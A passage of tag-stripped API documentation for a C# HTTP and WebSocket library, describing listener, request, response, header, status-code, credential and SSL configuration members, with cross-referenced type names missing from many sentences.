the listener. - - - - - Ends an asynchronous operation to get an incoming request. - - - This method completes an asynchronous operation started by calling - the BeginGetContext method. - - - A that represents a request. - - - An obtained by calling the BeginGetContext method. - - - is . - - - wasn't obtained by calling the BeginGetContext method. - - - This method was already called for the specified . - - - This listener has been closed. - - - - - Gets an incoming request. - - - This method waits for an incoming request, and returns when a request is received. - - - A that represents a request. - - - - This listener has no URI prefix on which listens. - - - -or- - - - This listener hasn't been started, or is currently stopped. - - - - This listener has been closed. - - - - - Starts receiving incoming requests. - - - This listener has been closed. - - - - - Stops receiving incoming requests. - - - This listener has been closed. - - - - - Releases all resources used by the listener. - - - - - Provides the access to the HTTP request and response objects used by - the . - - - This class cannot be inherited. - - - - - Gets the HTTP request object that represents a client request. - - - A that represents the client request. - - - - - Gets the HTTP response object used to send a response to the client. - - - A that represents a response to the client request. - - - - - Gets the client information (identity, authentication, and security roles). - - - A instance that represents the client information. - - - - - Accepts a WebSocket handshake request. - - - A that represents - the WebSocket handshake request. - - - A that represents the subprotocol supported on - this WebSocket connection. - - - - is empty. - - - -or- - - - contains an invalid character. - - - - This method has already been called. - - - - - The exception that is thrown when a gets an error - processing an HTTP request. - - - - - Initializes a new instance of the class from - the specified and . - - - A that contains the serialized object data. - - - A that specifies the source for the deserialization. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with the specified . - - - An that identifies the error. - - - - - Initializes a new instance of the class - with the specified and . - - - An that identifies the error. - - - A that describes the error. - - - - - Gets the error code that identifies the error that occurred. - - - An that identifies the error. - - - - - Initializes a new instance of the class with - the specified . - - - This constructor must be called after calling the CheckPrefix method. - - - A that represents the URI prefix. - - - - - Determines whether this instance and the specified have the same value. - - - This method will be required to detect duplicates in any collection. - - - An to compare to this instance. - - - true if is a and - its value is the same as this instance; otherwise, false. - - - - - Gets the hash code for this instance. - - - This method will be required to detect duplicates in any collection. - - - An that represents the hash code. - - - - - Provides the collection used to store the URI prefixes for the . - - - The responds to the request which has a requested URI that - the prefixes most closely match. - - - - - Gets the number of prefixes in the collection. - - - An that represents the number of prefixes. - - - - - Gets a value indicating whether the access to the collection is read-only. - - - Always returns false. - - - - - Gets a value indicating whether the access to the collection is synchronized. - - - Always returns false. - - - - - Adds the specified to the collection. - - - A that represents the URI prefix to add. The prefix must be - a well-formed URI prefix with http or https scheme, and must end with a '/'. - - - is . - - - is invalid. - - - The associated with this collection is closed. - - - - - Removes all URI prefixes from the collection. - - - The associated with this collection is closed. - - - - - Returns a value indicating whether the collection contains the specified - . - - - true if the collection contains ; - otherwise, false. - - - A that represents the URI prefix to test. - - - is . - - - The associated with this collection is closed. - - - - - Copies the contents of the collection to the specified . - - - An that receives the URI prefix strings in the collection. - - - An that represents the zero-based index in - at which copying begins. - - - The associated with this collection is closed. - - - - - Copies the contents of the collection to the specified array of . - - - An array of that receives the URI prefix strings in the collection. - - - An that represents the zero-based index in - at which copying begins. - - - The associated with this collection is closed. - - - - - Gets the enumerator used to iterate through the . - - - An instance used to iterate - through the collection. - - - - - Removes the specified from the collection. - - - true if is successfully found and removed; - otherwise, false. - - - A that represents the URI prefix to remove. - - - is . - - - The associated with this collection is closed. - - - - - Gets the enumerator used to iterate through the . - - - An instance used to iterate through the collection. - - - - - Provides the access to a request to the . - - - The HttpListenerRequest class cannot be inherited. - - - - - Gets the media types which are acceptable for the response. - - - An array of that contains the media type names in - the Accept request-header, or if the request didn't include - the Accept header. - - - - - Gets an error code that identifies a problem with the client's certificate. - - - Always returns 0. - - - - - Gets the encoding for the entity body data included in the request. - - - A that represents the encoding for the entity body data, - or if the request didn't include the information about - the encoding. - - - - - Gets the number of bytes in the entity body data included in the request. - - - A that represents the value of the Content-Length entity-header, - or -1 if the value isn't known. - - - - - Gets the media type of the entity body included in the request. - - - A that represents the value of the Content-Type entity-header. - - - - - Gets the cookies included in the request. - - - A that contains the cookies included in the request. - - - - - Gets a value indicating whether the request has the entity body. - - - true if the request has the entity body; otherwise, false. - - - - - Gets the HTTP headers used in the request. - - - A that contains the HTTP headers used in the request. - - - - - Gets the HTTP method used in the request. - - - A that represents the HTTP method used in the request. - - - - - Gets a that contains the entity body data included in the request. - - - A that contains the entity body data included in the request. - - - - - Gets a value indicating whether the client that sent the request is authenticated. - - - true if the client is authenticated; otherwise, false. - - - - - Gets a value indicating whether the request is sent from the local computer. - - - true if the request is sent from the local computer; otherwise, false. - - - - - Gets a value indicating whether the HTTP connection is secured using the SSL protocol. - - - true if the HTTP connection is secured; otherwise, false. - - - - - Gets a value indicating whether the request is a WebSocket connection request. - - - true if the request is a WebSocket connection request; otherwise, false. - - - - - Gets a value indicating whether the client requests a persistent connection. - - - true if the client requests a persistent connection; otherwise, false. - - - - - Gets the server endpoint as an IP address and a port number. - - - A that represents the server endpoint. - - - - - Gets the HTTP version used in the request. - - - A that represents the HTTP version used in the request. - - - - - Gets the query string included in the request. - - - A that contains the query string parameters. - - - - - Gets the raw URL (without the scheme, host, and port) requested by the client. - - - A that represents the raw URL requested by the client. - - - - - Gets the client endpoint as an IP address and a port number. - - - A that represents the client endpoint. - - - - - Gets the request identifier of a incoming HTTP request. - - - A that represents the identifier of a request. - - - - - Gets the URL requested by the client. - - - A that represents the URL requested by the client. - - - - - Gets the URL of the resource from which the requested URL was obtained. - - - A that represents the value of the Referer request-header, - or if the request didn't include an Referer header. - - - - - Gets the information about the user agent originating the request. - - - A that represents the value of the User-Agent request-header. - - - - - Gets the server endpoint as an IP address and a port number. - - - A that represents the server endpoint. - - - - - Gets the internet host name and port number (if present) specified by the client. - - - A that represents the value of the Host request-header. - - - - - Gets the natural languages which are preferred for the response. - - - An array of that contains the natural language names in - the Accept-Language request-header, or if the request - didn't include an Accept-Language header. - - - - - Begins getting the client's X.509 v.3 certificate asynchronously. - - - This asynchronous operation must be completed by calling - the method. Typically, - that method is invoked by the delegate. - - - An that contains the status of the asynchronous operation. - - - An delegate that references the method(s) called when - the asynchronous operation completes. - - - An that contains a user defined object to pass to - the delegate. - - - This method isn't implemented. - - - - - Ends an asynchronous operation to get the client's X.509 v.3 certificate. - - - This method completes an asynchronous operation started by calling - the method. - - - A that contains the client's X.509 v.3 certificate. - - - An obtained by calling - the method. - - - This method isn't implemented. - - - - - Gets the client's X.509 v.3 certificate. - - - A that contains the client's X.509 v.3 certificate. - - - This method isn't implemented. - - - - - Returns a that represents - the current . - - - A that represents the current . - - - - - Provides the access to a response to a request received by the . - - - The HttpListenerResponse class cannot be inherited. - - - - - Gets or sets the encoding for the entity body data included in the response. - - - A that represents the encoding for the entity body data, - or if no encoding is specified. - - - This object is closed. - - - - - Gets or sets the number of bytes in the entity body data included in the response. - - - A that represents the value of the Content-Length entity-header. - - - The value specified for a set operation is less than zero. - - - The response has already been sent. - - - This object is closed. - - - - - Gets or sets the media type of the entity body included in the response. - - - A that represents the media type of the entity body, - or if no media type is specified. This value is - used for the value of the Content-Type entity-header. - - - The value specified for a set operation is empty. - - - This object is closed. - - - - - Gets or sets the cookies sent with the response. - - - A that contains the cookies sent with the response. - - - - - Gets or sets the HTTP headers sent to the client. - - - A that contains the headers sent to the client. - - - The value specified for a set operation isn't valid for a response. - - - - - Gets or sets a value indicating whether the server requests a persistent connection. - - - true if the server requests a persistent connection; otherwise, false. - The default value is true. - - - The response has already been sent. - - - This object is closed. - - - - - Gets a to use to write the entity body data. - - - A to use to write the entity body data. - - - This object is closed. - - - - - Gets or sets the HTTP version used in the response. - - - A that represents the version used in the response. - - - The value specified for a set operation is . - - - The value specified for a set operation doesn't have its Major property set to 1 or - doesn't have its Minor property set to either 0 or 1. - - - The response has already been sent. - - - This object is closed. - - - - - Gets or sets the URL to which the client is redirected to locate a requested resource. - - - A that represents the value of the Location response-header, - or if no redirect location is specified. - - - The value specified for a set operation isn't an absolute URL. - - - This object is closed. - - - - - Gets or sets a value indicating whether the response uses the chunked transfer encoding. - - - true if the response uses the chunked transfer encoding; - otherwise, false. The default value is false. - - - The response has already been sent. - - - This object is closed. - - - - - Gets or sets the HTTP status code returned to the client. - - - An that represents the status code for the response to - the request. The default value is same as . - - - The response has already been sent. - - - This object is closed. - - - The value specified for a set operation is invalid. Valid values are - between 100 and 999 inclusive. - - - - - Gets or sets the description of the HTTP status code returned to the client. - - - A that represents the description of the status code. The default - value is the RFC 2616 - description for the property value, - or if an RFC 2616 description doesn't exist. - - - The value specified for a set operation contains invalid characters. - - - The response has already been sent. - - - This object is closed. - - - - - Closes the connection to the client without returning a response. - - - - - Adds an HTTP header with the specified and - to the headers for the response. - - - A that represents the name of the header to add. - - - A that represents the value of the header to add. - - - is or empty. - - - - or contains invalid characters. - - - -or- - - - is a restricted header name. - - - - The length of is greater than 65,535 characters. - - - The header cannot be allowed to add to the current headers. - - - - - Appends the specified to the cookies sent with the response. - - - A to append. - - - is . - - - - - Appends a to the specified HTTP header sent with the response. - - - A that represents the name of the header to append - to. - - - A that represents the value to append to the header. - - - is or empty. - - - - or contains invalid characters. - - - -or- - - - is a restricted header name. - - - - The length of is greater than 65,535 characters. - - - The current headers cannot allow the header to append a value. - - - - - Returns the response to the client and releases the resources used by - this instance. - - - - - Returns the response with the specified array of to the client and - releases the resources used by this instance. - - - An array of that contains the response entity body data. - - - true if this method blocks execution while flushing the stream to the client; - otherwise, false. - - - is . - - - This object is closed. - - - - - Copies some properties from the specified to - this response. - - - A to copy. - - - is . - - - - - Configures the response to redirect the client's request to - the specified . - - - This method sets the property to - , the property to - 302, and the property to - "Found". - - - A that represents the URL to redirect the client's request to. - - - is . - - - isn't an absolute URL. - - - The response has already been sent. - - - This object is closed. - - - - - Adds or updates a in the cookies sent with the response. - - - A to set. - - - is . - - - already exists in the cookies and couldn't be replaced. - - - - - Releases all resources used by the . - - - - - Contains the HTTP headers that may be specified in a client request. - - - The HttpRequestHeader enumeration contains the HTTP request headers defined in - RFC 2616 for the HTTP/1.1 and - RFC 6455 for the WebSocket. - - - - - Indicates the Cache-Control header. - - - - - Indicates the Connection header. - - - - - Indicates the Date header. - - - - - Indicates the Keep-Alive header. - - - - - Indicates the Pragma header. - - - - - Indicates the Trailer header. - - - - - Indicates the Transfer-Encoding header. - - - - - Indicates the Upgrade header. - - - - - Indicates the Via header. - - - - - Indicates the Warning header. - - - - - Indicates the Allow header. - - - - - Indicates the Content-Length header. - - - - - Indicates the Content-Type header. - - - - - Indicates the Content-Encoding header. - - - - - Indicates the Content-Language header. - - - - - Indicates the Content-Location header. - - - - - Indicates the Content-MD5 header. - - - - - Indicates the Content-Range header. - - - - - Indicates the Expires header. - - - - - Indicates the Last-Modified header. - - - - - Indicates the Accept header. - - - - - Indicates the Accept-Charset header. - - - - - Indicates the Accept-Encoding header. - - - - - Indicates the Accept-Language header. - - - - - Indicates the Authorization header. - - - - - Indicates the Cookie header. - - - - - Indicates the Expect header. - - - - - Indicates the From header. - - - - - Indicates the Host header. - - - - - Indicates the If-Match header. - - - - - Indicates the If-Modified-Since header. - - - - - Indicates the If-None-Match header. - - - - - Indicates the If-Range header. - - - - - Indicates the If-Unmodified-Since header. - - - - - Indicates the Max-Forwards header. - - - - - Indicates the Proxy-Authorization header. - - - - - Indicates the Referer header. - - - - - Indicates the Range header. - - - - - Indicates the TE header. - - - - - Indicates the Translate header. - - - - - Indicates the User-Agent header. - - - - - Indicates the Sec-WebSocket-Key header. - - - - - Indicates the Sec-WebSocket-Extensions header. - - - - - Indicates the Sec-WebSocket-Protocol header. - - - - - Indicates the Sec-WebSocket-Version header. - - - - - Contains the HTTP headers that can be specified in a server response. - - - The HttpResponseHeader enumeration contains the HTTP response headers defined in - RFC 2616 for the HTTP/1.1 and - RFC 6455 for the WebSocket. - - - - - Indicates the Cache-Control header. - - - - - Indicates the Connection header. - - - - - Indicates the Date header. - - - - - Indicates the Keep-Alive header. - - - - - Indicates the Pragma header. - - - - - Indicates the Trailer header. - - - - - Indicates the Transfer-Encoding header. - - - - - Indicates the Upgrade header. - - - - - Indicates the Via header. - - - - - Indicates the Warning header. - - - - - Indicates the Allow header. - - - - - Indicates the Content-Length header. - - - - - Indicates the Content-Type header. - - - - - Indicates the Content-Encoding header. - - - - - Indicates the Content-Language header. - - - - - Indicates the Content-Location header. - - - - - Indicates the Content-MD5 header. - - - - - Indicates the Content-Range header. - - - - - Indicates the Expires header. - - - - - Indicates the Last-Modified header. - - - - - Indicates the Accept-Ranges header. - - - - - Indicates the Age header. - - - - - Indicates the ETag header. - - - - - Indicates the Location header. - - - - - Indicates the Proxy-Authenticate header. - - - - - Indicates the Retry-After header. - - - - - Indicates the Server header. - - - - - Indicates the Set-Cookie header. - - - - - Indicates the Vary header. - - - - - Indicates the WWW-Authenticate header. - - - - - Indicates the Sec-WebSocket-Extensions header. - - - - - Indicates the Sec-WebSocket-Accept header. - - - - - Indicates the Sec-WebSocket-Protocol header. - - - - - Indicates the Sec-WebSocket-Version header. - - - - - Contains the values of the HTTP status codes. - - - The HttpStatusCode enumeration contains the values of the HTTP status codes defined in - RFC 2616 for the HTTP/1.1. - - - - - Equivalent to status code 100. - Indicates that the client should continue with its request. - - - - - Equivalent to status code 101. - Indicates that the server is switching the HTTP version or protocol on the connection. - - - - - Equivalent to status code 200. - Indicates that the client's request has succeeded. - - - - - Equivalent to status code 201. - Indicates that the client's request has been fulfilled and resulted in a new resource being - created. - - - - - Equivalent to status code 202. - Indicates that the client's request has been accepted for processing, but the processing - hasn't been completed. - - - - - Equivalent to status code 203. - Indicates that the returned metainformation is from a local or a third-party copy instead of - the origin server. - - - - - Equivalent to status code 204. - Indicates that the server has fulfilled the client's request but doesn't need to return - an entity-body. - - - - - Equivalent to status code 205. - Indicates that the server has fulfilled the client's request, and the user agent should - reset the document view which caused the request to be sent. - - - - - Equivalent to status code 206. - Indicates that the server has fulfilled the partial GET request for the resource. - - - - - - Equivalent to status code 300. - Indicates that the requested resource corresponds to any of multiple representations. - - - MultipleChoices is a synonym for Ambiguous. - - - - - - - Equivalent to status code 300. - Indicates that the requested resource corresponds to any of multiple representations. - - - Ambiguous is a synonym for MultipleChoices. - - - - - - - Equivalent to status code 301. - Indicates that the requested resource has been assigned a new permanent URI and - any future references to this resource should use one of the returned URIs. - - - MovedPermanently is a synonym for Moved. - - - - - - - Equivalent to status code 301. - Indicates that the requested resource has been assigned a new permanent URI and - any future references to this resource should use one of the returned URIs. - - - Moved is a synonym for MovedPermanently. - - - - - - - Equivalent to status code 302. - Indicates that the requested resource is located temporarily under a different URI. - - - Found is a synonym for Redirect. - - - - - - - Equivalent to status code 302. - Indicates that the requested resource is located temporarily under a different URI. - - - Redirect is a synonym for Found. - - - - - - - Equivalent to status code 303. - Indicates that the response to the request can be found under a different URI and - should be retrieved using a GET method on that resource. - - - SeeOther is a synonym for RedirectMethod. - - - - - - - Equivalent to status code 303. - Indicates that the response to the request can be found under a different URI and - should be retrieved using a GET method on that resource. - - - RedirectMethod is a synonym for SeeOther. - - - - - - Equivalent to status code 304. - Indicates that the client has performed a conditional GET request and access is allowed, - but the document hasn't been modified. - - - - - Equivalent to status code 305. - Indicates that the requested resource must be accessed through the proxy given by - the Location field. - - - - - Equivalent to status code 306. - This status code was used in a previous version of the specification, is no longer used, - and is reserved for future use. - - - - - - Equivalent to status code 307. - Indicates that the requested resource is located temporarily under a different URI. - - - TemporaryRedirect is a synonym for RedirectKeepVerb. - - - - - - - Equivalent to status code 307. - Indicates that the requested resource is located temporarily under a different URI. - - - RedirectKeepVerb is a synonym for TemporaryRedirect. - - - - - - Equivalent to status code 400. - Indicates that the client's request couldn't be understood by the server due to - malformed syntax. - - - - - Equivalent to status code 401. - Indicates that the client's request requires user authentication. - - - - - Equivalent to status code 402. - This status code is reserved for future use. - - - - - Equivalent to status code 403. - Indicates that the server understood the client's request but is refusing to fulfill it. - - - - - Equivalent to status code 404. - Indicates that the server hasn't found anything matching the request URI. - - - - - Equivalent to status code 405. - Indicates that the method specified in the request line isn't allowed for the resource - identified by the request URI. - - - - - Equivalent to status code 406. - Indicates that the server doesn't have the appropriate resource to respond to the Accept - headers in the client's request. - - - - - Equivalent to status code 407. - Indicates that the client must first authenticate itself with the proxy. - - - - - Equivalent to status code 408. - Indicates that the client didn't produce a request within the time that the server was - prepared to wait. - - - - - Equivalent to status code 409. - Indicates that the client's request couldn't be completed due to a conflict on the server. - - - - - Equivalent to status code 410. - Indicates that the requested resource is no longer available at the server and - no forwarding address is known. - - - - - Equivalent to status code 411. - Indicates that the server refuses to accept the client's request without a defined - Content-Length. - - - - - Equivalent to status code 412. - Indicates that the precondition given in one or more of the request headers evaluated to - false when it was tested on the server. - - - - - Equivalent to status code 413. - Indicates that the entity of the client's request is larger than the server is willing or - able to process. - - - - - Equivalent to status code 414. - Indicates that the request URI is longer than the server is willing to interpret. - - - - - Equivalent to status code 415. - Indicates that the entity of the client's request is in a format not supported by - the requested resource for the requested method. - - - - - Equivalent to status code 416. - Indicates that none of the range specifier values in a Range request header overlap - the current extent of the selected resource. - - - - - Equivalent to status code 417. - Indicates that the expectation given in an Expect request header couldn't be met by - the server. - - - - - Equivalent to status code 500. - Indicates that the server encountered an unexpected condition which prevented it from - fulfilling the client's request. - - - - - Equivalent to status code 501. - Indicates that the server doesn't support the functionality required to fulfill the client's - request. - - - - - Equivalent to status code 502. - Indicates that a gateway or proxy server received an invalid response from the upstream - server. - - - - - Equivalent to status code 503. - Indicates that the server is currently unable to handle the client's request due to - a temporary overloading or maintenance of the server. - - - - - Equivalent to status code 504. - Indicates that a gateway or proxy server didn't receive a timely response from the upstream - server or some other auxiliary server. - - - - - Equivalent to status code 505. - Indicates that the server doesn't support the HTTP version used in the client's request. - - - - - Decodes an HTML-encoded and returns the decoded . - - - A that represents the decoded string. - - - A to decode. - - - - - Decodes an HTML-encoded and sends the decoded - to the specified . - - - A to decode. - - - A that receives the decoded string. - - - - - HTML-encodes a and returns the encoded . - - - A that represents the encoded string. - - - A to encode. - - - - - HTML-encodes a and sends the encoded - to the specified . - - - A to encode. - - - A that receives the encoded string. - - - - - Provides the HTTP version numbers. - - - - - Provides a instance for the HTTP/1.0. - - - - - Provides a instance for the HTTP/1.1. - - - - - Initializes a new instance of the class. - - - - - Provides the credentials for the password-based authentication. - - - - - Initializes a new instance of the class with - the specified and . - - - A that represents the username associated with - the credentials. - - - A that represents the password for the username - associated with the credentials. - - - is . - - - is empty. - - - - - Initializes a new instance of the class with - the specified , , - and . - - - A that represents the username associated with - the credentials. - - - A that represents the password for the username - associated with the credentials. - - - A that represents the domain associated with - the credentials. - - - An array of that represents the roles - associated with the credentials if any. - - - is . - - - is empty. - - - - - Gets the domain associated with the credentials. - - - This property returns an empty string if the domain was - initialized with . - - - A that represents the domain name - to which the username belongs. - - - - - Gets the password for the username associated with the credentials. - - - This property returns an empty string if the password was - initialized with . - - - A that represents the password. - - - - - Gets the roles associated with the credentials. - - - This property returns an empty array if the roles were - initialized with . - - - An array of that represents the role names - to which the username belongs. - - - - - Gets the username associated with the credentials. - - - A that represents the username. - - - - - Stores the parameters for the used by servers. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with the specified . - - - A that represents the certificate used to - authenticate the server. - - - - - Copies the parameters from the specified to - a new instance of the class. - - - A from which to copy. - - - is . - - - - - Gets or sets a value indicating whether the certificate revocation - list is checked during authentication. - - - - true if the certificate revocation list is checked during - authentication; otherwise, false. - - - The default value is false. - - - - - - Gets or sets a value indicating whether the client is asked for - a certificate for authentication. - - - - true if the client is asked for a certificate for - authentication; otherwise, false. - - - The default value is false. - - - - - - Gets or sets the callback used to validate the certificate - supplied by the client. - - - The certificate is valid if the callback returns true. - - - - A delegate that - invokes the method called for validating the certificate. - - - The default value is a delegate that invokes a method that - only returns true. - - - - - - Gets or sets the protocols used for authentication. - - - - The enum values that represent - the protocols used for authentication. - - - The default value is . - - - - - - Gets or sets the certificate used to authenticate the server. - - - - A or - if not specified. - - - That instance represents an X.509 certificate. - - - - - - Provides a collection of the HTTP headers associated with a request or response. - - - - - Initializes a new instance of the class from - the specified and . - - - A that contains the serialized object data. - - - A that specifies the source for the deserialization. - - - is . - - - An element with the specified name isn't found in . - - - - - Initializes a new instance of the class. - - - - - Gets all header names in the collection. - - - An array of that contains all header names in the collection. - - - - - Gets the number of headers in the collection. - - - An that represents the number of headers in the collection. - - - - - Gets or sets the specified request in the collection. - - - A that represents the value of the request . - - - One of the enum values, represents - the request header to get or set. - - - - is a restricted header. - - - -or- - - - contains invalid characters. - - - - The length of is greater than 65,535 characters. - - - The current instance doesn't allow - the request . - - - - - Gets or sets the specified response in the collection. - - - A that represents the value of the response . - - - One of the enum values, represents - the response header to get or set. - - - - is a restricted header. - - - -or- - - - contains invalid characters. - - - - The length of is greater than 65,535 characters. - - - The current instance doesn't allow - the response . - - - - - Gets a collection of header names in the collection. - - - A that contains - all header names in the collection. - - - - - Adds a header to the collection without checking if the header is on - the restricted header list. - - - A that represents the name of the header to add. - - - A that represents the value of the header to add. - - - is or empty. - - - or contains invalid characters. - - - The length of is greater than 65,535 characters. - - - The current instance doesn't allow - the . - - - - - Adds the specified to the collection. - - - A that represents the header with the name and value separated by - a colon (':'). - - - is , empty, or the name part of - is empty. - - - - doesn't contain a colon. - - - -or- - - - is a restricted header. - - - -or- - - - The name or value part of contains invalid characters. - - - - The length of the value part of is greater than 65,535 characters. - - - The current instance doesn't allow - the . - - - - - Adds the specified request with - the specified to the collection. - - - One of the enum values, represents - the request header to add. - - - A that represents the value of the header to add. - - - - is a restricted header. - - - -or- - - - contains invalid characters. - - - - The length of is greater than 65,535 characters. - - - The current instance doesn't allow - the request . - - - - - Adds the specified response with - the specified to the collection. - - - One of the enum values, represents - the response header to add. - - - A that represents the value of the header to add. - - - - is a restricted header. - - - -or- - - - contains invalid characters. - - - - The length of is greater than 65,535 characters. - - - The current instance doesn't allow - the response . - - - - - Adds a header with the specified and - to the collection. - - - A that represents the name of the header to add. - - - A that represents the value of the header to add. - - - is or empty. - - - - or contains invalid characters. - - - -or- - - - is a restricted header name. - - - - The length of is greater than 65,535 characters. - - - The current instance doesn't allow - the header . - - - - - Removes all headers from the collection. - - - - - Get the value of the header at the specified in the collection. - - - A that receives the value of the header. - - - An that represents the zero-based index of the header to find. - - - is out of allowable range of indexes for the collection. - - - - - Get the value of the header with the specified in the collection. - - - A that receives the value of the header if found; - otherwise, . - - - A that represents the name of the header to find. - - - - - Gets the enumerator used to iterate through the collection. - - - An instance used to iterate through the collection. - - - - - Get the name of the header at the specified in the collection. - - - A that receives the header name. - - - An that represents the zero-based index of the header to find. - - - is out of allowable range of indexes for the collection. - - - - - Gets an array of header values stored in the specified position of - the collection. - - - An array of that receives the header values if found; - otherwise, . - - - An that represents the zero-based index of the header to find. - - - is out of allowable range of indexes for the collection. - - - - - Gets an array of header values stored in the specified . - - - An array of that receives the header values if found; - otherwise, . - - - A that represents the name of the header to find. - - - - - Populates the specified with the data needed to serialize - the . - - - A that holds the serialized object data. - - - A that specifies the destination for the serialization. - - - is . - - - - - Determines whether the specified header can be set for the request. - - - true if the header is restricted; otherwise, false. - - - A that represents the name of the header to test. - - - is or empty. - - - contains invalid characters. - - - - - Determines whether the specified header can be set for the request or the response. - - - true if the header is restricted; otherwise, false. - - - A that represents the name of the header to test. - - - true if does the test for the response; for the request, false. - - - is or empty. - - - contains invalid characters. - - - - - Implements the interface and raises the deserialization event - when the deserialization is complete. - - - An that represents the source of the deserialization event. - - - - - Removes the specified request from the collection. - - - One of the enum values, represents - the request header to remove. - - - is a restricted header. - - - The current instance doesn't allow - the request . - - - - - Removes the specified response from the collection. - - - One of the enum values, represents - the response header to remove. - - - is a restricted header. - - - The current instance doesn't allow - the response . - - - - - Removes the specified header from the collection. - - - A that represents the name of the header to remove. - - - is or empty. - - - - contains invalid characters. - - - -or- - - - is a restricted header name. - - - - The current instance doesn't allow - the header . - - - - - Sets the specified request to the specified value. - - - One of the enum values, represents - the request header to set. - - - A that represents the value of the request header to set. - - - - is a restricted header. - - - -or- - - - contains invalid characters. - - - - The length of is greater than 65,535 characters. - - - The current instance doesn't allow - the request . - - - - - Sets the specified response to the specified value. - - - One of the enum values, represents - the response header to set. - - - A that represents the value of the response header to set. - - - - is a restricted header. - - - -or- - - - contains invalid characters. - - - - The length of is greater than 65,535 characters. - - - The current instance doesn't allow - the response . - - - - - Sets the specified header to the specified value. - - - A that represents the name of the header to set. - - - A that represents the value of the header to set. - - - is or empty. - - - - or contains invalid characters. - - - -or- - - - is a restricted header name. - - - - The length of is greater than 65,535 characters. - - - The current instance doesn't allow - the header . - - - - - Converts the current to an array of . - - - An array of that receives the converted current - . - - - - - Returns a that represents the current - . - - - A that represents the current . - - - - - Populates the specified with the data needed to serialize - the current . - - - A that holds the serialized object data. - - - A that specifies the destination for the serialization. - - - is . - - - - - Provides the properties used to access the information in - a WebSocket handshake request received by the . - - - - - Gets the HTTP cookies included in the request. - - - A that contains the cookies. - - - - - Gets the HTTP headers included in the request. - - - A that contains the headers. - - - - - Gets the value of the Host header included in the request. - - - A that represents the value of the Host header. - - - - - Gets a value indicating whether the client is authenticated. - - - true if the client is authenticated; otherwise, false. - - - - - Gets a value indicating whether the client connected from the local computer. - - - true if the client connected from the local computer; otherwise, false. - - - - - Gets a value indicating whether the WebSocket connection is secured. - - - true if the connection is secured; otherwise, false. - - - - - Gets a value indicating whether the request is a WebSocket handshake request. - - - true if the request is a WebSocket handshake request; otherwise, false. - - - - - Gets the value of the Origin header included in the request. - - - A that represents the value of the Origin header. - - - - - Gets the query string included in the request. - - - A that contains the query string parameters. - - - - - Gets the URI requested by the client. - - - A that represents the requested URI. - - - - - Gets the value of the Sec-WebSocket-Key header included in the request. - - - This property provides a part of the information used by the server to prove that - it received a valid WebSocket handshake request. - - - A that represents the value of the Sec-WebSocket-Key header. - - - - - Gets the values of the Sec-WebSocket-Protocol header included in the request. - - - This property represents the subprotocols requested by the client. - - - An instance that provides - an enumerator which supports the iteration over the values of the Sec-WebSocket-Protocol - header. - - - - - Gets the value of the Sec-WebSocket-Version header included in the request. - - - This property represents the WebSocket protocol version. - - - A that represents the value of the Sec-WebSocket-Version header. - - - - - Gets the server endpoint as an IP address and a port number. - - - A that represents the server endpoint. - - - - - Gets the client information (identity, authentication, and security roles). - - - A instance that represents the client information. - - - - - Gets the client endpoint as an IP address and a port number. - - - A that represents the client endpoint. - - - - - Gets the instance used for - two-way communication between client and server. - - - A . - - - - - Returns a that represents - the current . - - - A that represents - the current . - - - - - Provides the properties used to access the information in - a WebSocket handshake request received by the . - - - - - Gets the HTTP cookies included in the request. - - - A that contains the cookies. - - - - - Gets the HTTP headers included in the request. - - - A that contains the headers. - - - - - Gets the value of the Host header included in the request. - - - A that represents the value of the Host header. - - - - - Gets a value indicating whether the client is authenticated. - - - true if the client is authenticated; otherwise, false. - - - - - Gets a value indicating whether the client connected from the local computer. - - - true if the client connected from the local computer; otherwise, false. - - - - - Gets a value indicating whether the WebSocket connection is secured. - - - true if the connection is secured; otherwise, false. - - - - - Gets a value indicating whether the request is a WebSocket handshake request. - - - true if the request is a WebSocket handshake request; otherwise, false. - - - - - Gets the value of the Origin header included in the request. - - - A that represents the value of the Origin header. - - - - - Gets the query string included in the request. - - - A that contains the query string parameters. - - - - - Gets the URI requested by the client. - - - A that represents the requested URI. - - - - - Gets the value of the Sec-WebSocket-Key header included in the request. - - - This property provides a part of the information used by the server to prove that - it received a valid WebSocket handshake request. - - - A that represents the value of the Sec-WebSocket-Key header. - - - - - Gets the values of the Sec-WebSocket-Protocol header included in the request. - - - This property represents the subprotocols requested by the client. - - - An instance that provides - an enumerator which supports the iteration over the values of the Sec-WebSocket-Protocol - header. - - - - - Gets the value of the Sec-WebSocket-Version header included in the request. - - - This property represents the WebSocket protocol version. - - - A that represents the value of the Sec-WebSocket-Version header. - - - - - Gets the server endpoint as an IP address and a port number. - - - A that represents the server endpoint. - - - - - Gets the client information (identity, authentication, and security roles). - - - A instance that represents the client information. - - - - - Gets the client endpoint as an IP address and a port number. - - - A that represents the client endpoint. - - - - - Gets the instance used for - two-way communication between client and server. - - - A . - - - - - Returns a that represents - the current . - - - A that represents - the current . - - - - - Exposes the properties used to access the information in a WebSocket handshake request. - - - This class is an abstract class. - - - - - Initializes a new instance of the class. - - - - - Gets the HTTP cookies included in the request. - - - A that contains the cookies. - - - - - Gets the HTTP headers included in the request. - - - A that contains the headers. - - - - - Gets the value of the Host header included in the request. - - - A that represents the value of the Host header. - - - - - Gets a value indicating whether the client is authenticated. - - - true if the client is authenticated; otherwise, false. - - - - - Gets a value indicating whether the client connected from the local computer. - - - true if the client connected from the local computer; otherwise, false. - - - - - Gets a value indicating whether the WebSocket connection is secured. - - - true if the connection is secured; otherwise, false. - - - - - Gets a value indicating whether the request is a WebSocket handshake request. - - - true if the request is a WebSocket handshake request; otherwise, false. - - - - - Gets the value of the Origin header included in the request. - - - A that represents the value of the Origin header. - - - - - Gets the query string included in the request. - - - A that contains the query string parameters. - - - - - Gets the URI requested by the client. - - - A that represents the requested URI. - - - - - Gets the value of the Sec-WebSocket-Key header included in the request. - - - This property provides a part of the information used by the server to prove that - it received a valid WebSocket handshake request. - - - A that represents the value of the Sec-WebSocket-Key header. - - - - - Gets the values of the Sec-WebSocket-Protocol header included in the request. - - - This property represents the subprotocols requested by the client. - - - An instance that provides - an enumerator which supports the iteration over the values of the Sec-WebSocket-Protocol - header. - - - - - Gets the value of the Sec-WebSocket-Version header included in the request. - - - This property represents the WebSocket protocol version. - - - A that represents the value of the Sec-WebSocket-Version header. - - - - - Gets the server endpoint as an IP address and a port number. - - - A that represents the server endpoint. - - - - - Gets the client information (identity, authentication, and security roles). - - - A instance that represents the client information. - - - - - Gets the client endpoint as an IP address and a port number. - - - A that represents the client endpoint. - - - 